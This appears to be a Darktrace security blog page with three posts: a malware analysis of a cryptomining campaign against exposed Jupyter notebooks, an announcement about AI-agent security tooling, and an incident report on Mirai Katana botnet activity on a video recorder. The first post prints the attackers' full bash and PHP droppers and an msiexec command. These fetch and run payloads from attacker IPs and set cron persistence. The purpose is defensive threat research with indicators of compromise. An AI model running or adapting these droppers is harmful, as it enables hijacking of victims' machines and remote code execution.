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March 13, 2025

Exposed Jupyter Notebooks Targeted to Deliver Cryptominer

Cado Security Labs discovered a new cryptomining campaign exploiting exposed Jupyter Notebooks on Windows and Linux. The attack deploys UPX-packed binaries that decrypt and execute a cryptominer, targeting various cryptocurrencies.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
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Mar 2025

Introduction

Researchers from Cado Security Labs (now part of Darktrace) have identified a novel cryptoming campaign exploiting Jupyter Notebooks, through Cado Labs honeypots. Jupyter Notebook [1] is an interactive notebook that contains a Python IDE and is typically used by data scientists. The campaign identified spreads through misconfigured Jupyter notebooks, targeting both Windows and Linux systems to deliver a cryptominer. 

Technical analysis

bash script
Figure 1: bash script

During a routine triage of the Jupyter honeypot, Cado Security Labs have identified an evasive cryptomining campaign attempting to exploit Jupyter notebooks. The attack began with attempting to retrieve a bash script and Microsoft Installer (MSI) file. After extracting the MSI file, the CustomAction points to an executable named “Binary.freedllBinary”. Custom Actions in MSI files are user defined actions and can be scripts or binaries. 

freedllbinary
Figure 2: "Binary.freedllBinary"
Binary File
Figure 3: File

Binary.freedllbinary

The binary that is executed from the installer file is a 64-bit Windows executable named Binary.freedllbinary. The main purpose of the binary is to load a secondary payload, “java.exe” by a CoCreateInstance Component Object Model (COM object) that is stored in c:\Programdata. Using the command /c start /min cmd /c "C:\ProgramData\java.exe || msiexec /q /i https://github[.]com/freewindsand/test/raw/refs/heads/main/a.msi, java.exe is executed, and if that fails “a.msi” is retrieved from Github; “a.msi” is the same as the originating MSI “0217.msi”. Finally, the binary deletes itself with /c ping 127.0.0.1 && del %s. “Java.exe” is a 64-bit binary pretending to be Java Platform SE 8. The binary is packed with UPX. Using ws2_32, “java.exe” retrieves “x2.dat” from either Github, launchpad, or Gitee and stores it in c:\Programdata. Gitee is the Chinese version of GitHub. “X.dat” is an encrypted blob of data, however after analyzing the binary, it can be seen that it is encrypted with ChaCha20, with the nonce aQFabieiNxCjk6ygb1X61HpjGfSKq4zH and the key AZIzJi2WxU0G. The data is then compressed with zlib. 

from Crypto.Cipher import ChaCha20 

import zlib 

key = b' ' 

nonce = b' ' 

with open(<encrytpedblob>', 'rb') as f: 

 ciphertext = f.read() 
 
cipher = ChaCha20.new(key=key, nonce=nonce) 

plaintext = cipher.decrypt(ciphertext) 

with open('decrypted_output.bin', 'wb') as f:  

 f.write(plaintext) 
 
with open('decrypted_output.bin', 'rb') as f_in: 

 compressed_data = f_in.read() 
 
decompressed_data = zlib.decompress(compressed_data) 

with open('decompressed_output', 'wb') as f_out: 

 f_out.write(decompressed_data)

After decrypting the blob with the above script there is another binary. The final binary is a cryptominer that targets:

  • Monero
  • Sumokoin
  • ArQma
  • Graft
  • Ravencoin
  • Wownero
  • Zephyr
  • Townforge
  • YadaCoin

ELF version

In the original Jupyter commands, if the attempt to retrieve and run the MSI file fails, then it attempts to retrieve “0217.js” and execute it. “0217.js” is a bash backdoor that retrieves two ELF binaries “0218.elf”, and “0218.full” from 45[.]130[.]22[.]219. The script first retrieves “0218.elf” either by curl or wget, renames it to the current time, stores it in /etc/, makes it executable via chmod and sets a cronjob to run every ten minutes.

#!/bin/bash 
u1='http://45[.]130.22.219/0218.elf'; 
name1=`date +%s%N` 
wget ${u1}?wget -O /etc/$name1 
chmod +x /etc/$name1 
echo "10 * * * * root /etc/$name1" >> /etc/cron.d/$name1 
/etc/$name1 
 
name2=`date +%s%N` 
curl ${u1}?curl -o /etc/$name2 
chmod +x /etc/$name2 
echo "20 * * * * root /etc/$name2" >> /etc/cron.d/$name2 
/etc/$name2 
 
u2='http://45[.]130.22.219/0218.full'; 
name3=`date +%s%N` 
wget ${u2}?wget -O /tmp/$name3 
chmod +x /tmp/$name3 
(crontab -l ; echo "30 * * * * /tmp/$name3") | crontab - 
/tmp/$name3 
 
name4=`date +%s%N` 
curl ${u2}?curl -o /var/tmp/$name4 
chmod +x /var/tmp/$name4 
(crontab -l ; echo "40 * * * * /var/tmp/$name4") | crontab - 
/var/tmp/$name4 
 
while true 
do 
        chmod +x /etc/$name1 
        /etc/$name1 
        sleep 60 
        chmod +x /etc/$name2 
        /etc/$name2 
        sleep 60 
        chmod +x /tmp/$name3 
        /tmp/$name3 
        sleep 60 
        chmod +x /var/tmp/$name4 
        /var/tmp/$name4 
        sleep 60 
done 

0217.js

Similarly, “0218.full” is retrieved by curl or wget, renamed to the current time, stored in /tmp/ or /var/tmp/, made executable and a cronjob is set to every 30 or 40 minutes. 

0218.elf

“0218.elf” is a 64-bit UPX packed ELF binary. The functionality of the binary is similar to “java.exe”, the Windows version. The binary retrieves encrypted data “lx.dat” from either 172[.]245[.]126[.]209, launchpad, Github, or Gitee. The lock file “cpudcmcb.lock” is searched for in various paths including /dev/, /tmp/ and /var/, presumably looking for a concurrent process. As with the Windows version, the data is encrypted with ChaCha20 (nonce: 1afXqzGbLE326CPT0EAwYFvgaTHvlhn4 and key: ZTEGIDQGJl4f) and compressed with zlib. The decrypted data is stored as “./lx.dat”. 

ChaCha routine
Figure 4: ChaCha routine
lx.dat file
Figure 5: Reading the written lx.dat file

The decrypted data from “lx.dat” is another ELF binary, and is the Linux variant of the Windows cryptominer. The cryptominer is mining for the same cryptocurrency as the Windows with the wallet ID: 44Q4cH4jHoAZgyHiYBTU9D7rLsUXvM4v6HCCH37jjTrydV82y4EvPRkjgdMQThPLJVB3ZbD9Sc1i84 Q9eHYgb9Ze7A3syWV, and pools:

  • C3.wptask.cyou
  • Sky.wptask.cyou
  • auto.skypool.xyz

The binary “0218.full” is the same as the dropped cryptominer, skipping the loader and retrieval of encrypted data. It is unknown why the threat actor would deploy two versions of the same cryptominer. 

Other campaigns

While analyzing this campaign, a parallel campaign targeting servers running PHP was found. Hosted on the 45[.]130[.]22[.]219 address is a PHP script “1.php”:

<?php 
$win=0; 
$file=""; 
$url=""; 
strtoupper(substr(PHP_OS,0,3))==='WIN'?$win=1:$win=0; 
if($win==1){ 
    $file = "C://ProgramData/php.exe"; 
    $url  = "http://45[.]130.22.219/php0218.exe"; 
}else{ 
    $file = "/tmp/php"; 
    $url  = "http://45[.]130.22.219/php0218.elf"; 
} 
    ob_start(); 
    readfile($url); 
    $content = ob_get_contents(); 
    ob_end_clean(); 
    $size = strlen($content); 
    $fp2 = @fopen($file, 'w'); 
    fwrite($fp2, $content); 
    fclose($fp2); 
    unset($content, $url); 
    if($win!=1){ 
        passthru("chmod +x ".$file); 
    } 
    passthru($file); 
?> 
Hello PHP

“1.php” is essentially a PHP version of the Bash script “0218.js”, a binary is retrieved based on whether the server is running on Windows or Linux. After analyzing the binaries, “php0218.exe” is the same as Binary.freedllbinary, and “php0218.elf” is the same as “0218.elf”. 

The exploitation of Jupyter to deploy this cryptominer hasn’t been reported before, however there have been previous campaigns with similar TTPs. In January 2024, Greynoise [2] reported on Ivanti Connect Secure being exploited to deliver a cryptominer. As with this campaign, the Ivanti campaign featured the same backdoor, with payloads hosted on Github. Additionally, AnhLabs [3] reported in June 2024 of a similar campaign targeting unpatched Korean web servers.

Figure 6: Mining pool 45[.]147[.]51[.]78

Conclusion

Exposed cloud services remain a prime target for cryptominers and other malicious actors. Attackers actively scan for misconfigured or publicly accessible instances, exploiting them to run unauthorized cryptocurrency mining operations. This can lead to degraded system performance, increased cloud costs, and potential data breaches.

To mitigate these risks, organizations should enforce strong authentication, disable public access, and regularly monitor their cloud environments for unusual activity. Implementing network restrictions, auto-shutdown policies for idle instances, and cloud provider security tools can also help reduce exposure.

Continuous vigilance, proactive security measures, and user education are crucial to staying ahead of emerging threats in the ever-changing cloud landscape.  

IOCs

hxxps://github[.]com/freewindsand

hxxps://github[.]com/freewindsand/pet/raw/refs/heads/main/lx.dat

hxxps://git[.]launchpad.net/freewindpet/plain/lx.dat

hxxps://gitee[.]com/freewindsand/pet/raw/main/lx.dat

hxxps://172[.]245[.]126.209/lx.dat

090a2f79d1153137f2716e6d9857d108 - Windows cryptominer

51a7a8fbe243114b27984319badc0dac - 0218.elf

227e2f4c3fd54abdb8f585c9cec0dcfc - ELF cryptominer

C1bb30fed4f0fb78bb3a5f240e0058df - Binary.freedllBinary

6323313fb0d6e9ed47e1504b2cb16453 - py0217.msi

3750f6317cf58bb61d4734fcaa254147 - 0218.full

1cdf044fe9e320998cf8514e7bd33044 - java.exe

141[.]11[.]89[.]42

172[.]245[.]126[.]209

45[.]130[.]22[.]219

45[.]147[.]51[.]78

Pools:

c3.wptask.cyou

sky.wptask.cyou

auto.c3pool.org

auto.skypool.xyz

MITRE ATT&CK

T1059.004  Command and Scripting Interpreter: Bash  

T1218.007  System Binary Proxy Execution: MSIExec  

T1053.003  Scheduled Task/Job: Cron  

T1190  Exploit Public-Facing Application  

T1027.002  Obfuscated Files or Information: Software Packing  

T1105  Ingress Tool Transfer  

T1496  Resource Hijacking  

T1105  Ingress Tool Transfer  

T1070.004  Indicator Removal on Host: File Deletion  

T1027  Obfuscated Files or Information  

T1559.001  Inter-Process Communication: Component Object Model  

T1027  Obfuscated Files or Information

References:

[1] https://www.cadosecurity.com/blog/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks  

[2] https://www.greynoise.io/blog/ivanti-connect-secure-exploited-to-install-cryptominers  

[3] https://asec.ahnlab.com/en/74096/  

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead

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September 4, 2026

Darktrace Advances Incident Investigation and AI-Agent Security with OpenAI Daybreak Models

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Earlier this year, Darktrace joined OpenAI’s Daybreak Defense Network to explore how their cyber capabilities can be integrated within Darktrace products and services to transform how security teams move from signal to action.

At the heart of this work is Darktrace's behavioral understanding of customer environments and identification of complex security incidents, combined with OpenAI models that can add context to help explain why an incident matters and its potential impact on the business. By bringing these capabilities into defensive workflows security teams already use, the goal is to give defenders not just greater visibility, but the context and guidance they need to act with confidence.

Since joining the program, we've been working with OpenAI to explore how these capabilities can address specific security challenges for defenders.

The problem we're solving

Attackers continue to change how they operate, including by using AI to increase the speed and scale of some techniques. Security teams are already managing a large volume of alerts, and the question isn't just what's happening, but how it could affect the organization. Even when an incident is fully investigated and correlated, technical severity alone doesn't tell a security team how much it actually matters to the business. That same challenge extends to internal AI adoption. As organizations adopt more AI systems and agents, security teams need visibility into their behavior, access and activity, along with the broader business context needed to identify and investigate potential risk.

Darktrace's Adaptive AI™ builds a detailed, organization-specific picture of what's normal for each environment, and uses that picture to investigate threats and identify complex security activity across domains. OpenAI's models can build on Darktrace's correlated, technically prioritized incidents by adding context that can help defenders understand what may be at stake.

What we're building

Our work is focused on two areas: supporting security investigation and response, and helping defenders identify risky behavior across enterprise AI systems and agents.

The first aligns Darktrace's behavioral understanding with OpenAI models to support  security investigation and prioritization. Darktrace's Adaptive AI continuously learns the unique patterns of normal behavior within each customer it protects, creating a deep, organization-specific understanding of its digital estate. When unusual activity emerges, OpenAI's models can draw on that context to help analysts investigate the incident, understand its significance and assess potential business consequences — reducing the need to manually assemble context from fragmented signals.

Second, we are exploring how these capabilities can support AI-agent and runtime security through Darktrace / SECURE AI™. OpenAI’s Daybreak models can build on the detections and visibility Darktrace / SECURE AI provides, connecting signals across a customer's environment and help defenders identify potentially risky behavior involving AI systems and agents. Activity that might appear isolated can instead be connected with related signals, helping defenders investigate the broader context and determine appropriate remediation.

Darktrace brings deep cybersecurity expertise, an evolving understanding of each customer's environment, and AI-driven identification of threats across the digital estate. Through the Daybreak Defense Network, Darktrace is exploring how OpenAI models can augment those capabilities in defensive security workflows — supporting incident investigation and response and improving visibility into AI-agent and runtime risk.

These capabilities are still in development, and we're excited to continue building on this work.

To learn more about how Darktrace continues to innovate to meet today's most pressing security challenges, register for our upcoming launch broadcast here.

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September 4, 2026

Botnet Behind the Camera: Mirai Katana Activity on a Video Recording Device

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Key takeaways

  • Darktrace identified a camera device infected with the Mirai/Katana botnet in a sports-sector customer environment, showing how exposed IoT devices can become active participants in wider attack chains.
  • The compromise involved suspicious Wget behavior, file downloads from rare external IPs, unusual incoming HTTP connections to video recorder management interfaces, and large outbound data transfers to infrastructure associated with botnet activity.
  • The incident highlights the importance of extending visibility and response beyond traditional endpoints, as unmanaged or overlooked connected devices can be exploited for command-and-control, malware delivery, and data exfiltration.

Mirai and the Katana variant

Mirai is a botnet that first emerged in August 2016 and is well known for launching large-scale distributed-denial-of-service (DDoS) attacks, typically targeting exposed Internet of Things (IoT) devices. It identifies vulnerable IoT devices ,often by abusing default credentials or exposed services, and recruiting them into a remotely controlled botnet that can be used in DDoS campaigns [1].

Katana, one of the many variants that arose after Mirai’s source code was released publicly, was first observed in late 2020 and has been seen using more advanced capabilities, including custom command-and-control (C2), persistence mechanisms, and DDoS functionality [2].

In March 2026, research from the Nokia Deepfield Emergency Response Team (ERT) identified Katana as a Mirai-derived DDoS botnet targeting Android-based TV set-top boxes through exposed Android Debug Bridge (ADB) access.  Observed capabilities included custom C2, runtime domain rotation, multiple DDoS methods, and an on-device compiled kernel rootkit used for persistence and stealth [3].

Darktrace’s detection of Mirai Botnet activity on a camera device

In early 2026, Darktrace identified a Network/Digital Video Recorder (NVR/DVR) on the network of a sports-sector customer that had been infected with the Mirai Katana botnet and subsequently used to exfiltrate data from the customer’s environment. Seemingly related follow-up activity was observed on the same device several months later.

In both instances, the Darktrace Security Operations Centre (SOC) alerted the customer as part of the Managed Threat Detection (MTD) service. However, as Darktrace’s Autonomous Response capability was not fully enabled on the affected device, Darktrace was unable to proactively block the suspicious activity or prevent the compromise from continuing and recurring.

The initial compromise appears to have occurred when the affected device was seen using Wget to download Linux-based Executable and Linkable Format (ELF) files from a rare external IP, 195.177.94[.]105, which had not previously been observed in the customer’s network. Further analysis downloaded file hashes identified files related to the Mirai botnet.

Figure 1: Darktrace’s Real-Time AI Analyst investigation into the unusual outbound connection where the ELF files were downloaded.

Within a few hours, Darktrace detected the device uploading close to 3GB of data to another external IP, 50.7.49[.]4:3017 (ASN AS30058 FDCSERVERS), suggesting that the activity was likely routed via a virtual private server (VPS) hosted by FDC Servers [2]. Attackers often abuse VPS infrastructure from legitimate cloud providers to blend in with legitimate traffic and evade IP reputation and geolocation-based detections.

Figure 2:  Darktrace’s detection of the unusual data upload activity by the affected camera device.

Darktrace continued to observe similar data transfers to multiple rare endpoints  including 171.225.223[.]53, 95.161.128[.]62, 61.7.209[.]88, 95.161.128[.]62, which have been linked to Mirai by open-source intelligence (OSINT).

Figure 3: Darktrace’s detection of spikes in unusual external data transfer activity from the camera device.

Exploitation continued

Several months later, Darktrace identified the same exfiltration pattern on the device again, this time with stronger indications of associations with Mirai Katana botnet infection.

The device received incoming HTTP connections from 129.121.114[.]124, an external IP known to be associated with the Katana botnet IP [3]. The connections targeted the ‘/dvr/cmd’ path using the root username and user agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246.

The ‘/dvr/cmd’ path appears to be associated with the affected device’s web management functionality. This API endpoint has historically been targeted by Mirai and other IoT botnets through the exploitation of critical command injection vulnerabilities and automated botnet exploitation [4].

Figure 4: Darktrace’s  detection of HTTP connectivity from the external IP associated with Mirai Katana Botnet.

A few days later, Darktrace observed the Wget utility being used to download ELF files, including “/lil”,  from the IP 129.121.114[.]124. OSINT reporting has since associated this IP address with the Mirai Katana botnet. Notably, the IP observed earlier in the year, 195.177.94[.]105, had also hosted a file named “lil”, indicating a link between the observed activity.

Over the following days, the device received a sudden spike in connections from multiple rare external endpoints, suggesting a possible successful brute force attack. Darktrace also observed the device exfiltrating just under 4GB of data to another Mirai-associated IP address,  66.92.198[.]194, over ports 3344, 954922, and 80. Finally, the device was seen uploading data to the Mirai botnet IP 5.175.249[.]53 over port138 and exhibited an increase in UDP connections to 34.18.28[.]10 over port 9068.

Following both file download events, Darktrace identified spikes in external data transfers and connection attempts to rare destinations. While Darktrace’s Threat Research team could not confirm with high confidence that this to activity was directly associated with Mirai, it may indicate that Mirai Katana includes data exfiltration functionality.

Darktrace’s threat researchers also identified an internet-facing NTP server belonging to a separate customer receiving incoming connection attempts from the same initially observed IP, 195.177.94[.]105,over the port 123. This suggests that Mirai Katana may not exclusively target IoT devices.

Conclusion

This case demonstrates how threat actors can exploit overlooked IoT and OT devices to support broader malicious objectives. Here, a camera device infected with a botnet was used to exfiltrate data from the customer's environment, showing how peripheral assets can become active participants in an attack chain.

This case also reinforces a challenge many organizations face today: extending security visibility beyond traditional endpoints and servers. Cameras, sensors, and other connected devices often operate with limited monitoring and may fall outside established security processes, despite maintaining network connectivity and access to potentially sensitive environments. This is particularly relevant in the sports sector, where growing reliance on connected cameras, smart stadium technologies, and other IoT devices continues to expand the attack surface, as highlighted in Darktrace's Sports Sector Threat Report.

As botnets like Kata and Mirai continue to evolve, defenders need visibility across unmanaged IoT and edge devices, as well as security solutions that can recognize subtle deviations in device behavior that may indicate an emerging compromise.

Credit to Parvatha Ananthakannan (Cyber Analyst), Signe Zaharka (Principal Analyst)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Detections

·      Anomalous File / EXE from Rare External Location

·      Anomalous File / Multiple EXE from Rare External Locations

·      Device / Initial Attack Chain Activity

·      Unusual Activity / Unusual External Data to New Endpoint

·      Anomalous Connection / Data Sent to Rare Domain

·      Unusual Activity / Enhanced Unusual External Data Transfer

·      Anomalous Connection / Uncommon 1 GiB Outbound

·      Device / Significant UDP Increase

·      Anomalous Connection / Low and Slow Exfiltration to IP

·      Compromise / Large Number of Suspicious Failed Connections

·      Compromise / Large Number of Suspicious Successful Connections

·      Unusual Activity / Unusual External Activity

·      Compliance / SSH to Rare External Destination

·      Unusual Activity / Unusual DNS

·      Device / External Network Scan

·      Device / Suspicious DNS Activity

·      Device / Large Number of Model Alerts

List of Indicators of Compromise (IoCs)

Indicator of Compromise Type Description
195.177.94[.]105 IP C2 endpoint
50.7.49[.]4:30171 IP Possible C2 endpoint
129.121.114[.]124 IP C2 endpoint
hxxp://195.177.94[.]105/n3 URL Likely C2 endpoint
hxxp://195.177.94[.]105/n2 URL Likely C2 endpoint
hxxp://129.121.114[.]124/lil URL Likely C2 endpoint
hxxp://129.121.114[.]124/HHn URL Possible C2 endpoint
hxxp://129.121.114[.]124/JFc URL Possible C2 endpoint
hxxp://129.121.114[.]124/jum URL Likely C2 endpoint
hxxp://129.121.114[.]124/OaSf URL Likely C2 endpoint
hxxp://129.121.114[.]124/OPWg URL Possible C2 endpoint
hxxp://129.121.114[.]124/vHwK URL Possible C2 endpoint
hxxp://129.121.114[.]124/VLv URL Possible C2 endpoint
hxxp://129.121.114[.]124/WbJ URL Possible C2 endpoint
hxxp://129.121.114[.]124/zkR URL Possible C2 endpoint
Ab17883ae4c3bc6afa18c439166eeeb4b03186e3093d984e3a95f573e0fcb7d8 SHA-256 Mirai payload
3d587e809dac49d34a3f717e072fd0aebe5e71db63333e45c81577d6b4266f87 SHA-256 Mirai payload
Bf6e81733a7e209d3dce80d15bf3c5d300752d961fae6b45d90c9bbe7f8c89a2 SHA-256 Possible payload
f25488303813ab1ec0eaa71562938601aac185e8aaf93adb84522557f7cf4dd6 SHA-256 Possible payload
0cb4ff6b71f4423184bfa35c34e9090297637208b0e30205d4b224e56abde2ef SHA-256 Possible payload
19c24cbeaf06b2e7697083f33a85521a9315105c784691bde7420fde4cc69410 SHA-256 Likely Mirai payload
1e74f734fff8df91f4f7172d0de10c421eca78aeb800e8a48e16bc5dbde5d20e SHA-256 Possible payload
6e71f7763d1f29d5712106ebb122e281c32787540aa2342b0fe5351d585d18d7 SHA-256 Possible payload
71f4ff7cdb6d6a7d2673c543c5d2535093afbd707b20a5b9ddf735466c1105c1 SHA-256 Possible payload
76db7ee73ebf15e48a3cb24a074d92248671ef2c6ed3bc3e708377341fb7674d SHA-256 Possible payload
da87a65f7beb438e61f0b61964fed8aa305a380f569042f84c55eca8fa7929b8 SHA-256 Possible payload
e15809eb6ba66477175270d62cfa53e4bf278595f69938708c81c4bc457930fe SHA-256 Mirai payload

MITRE ATT&CK Mapping

Tactic Technique ID Technique / Sub-technique
Initial Access T1659 Content Injection
T1189 Drive-by Compromise
Exfiltration T1041 Exfiltration Over C2 Channel
T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol
Command and Control T1105 Ingress Tool Transfer
T1095 Non-Application Layer Protocol
T1571 Non-Standard Port
Reconnaissance T1595.001 Scanning IP Blocks
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Parvatha Ananthakannan
Cyber Analyst
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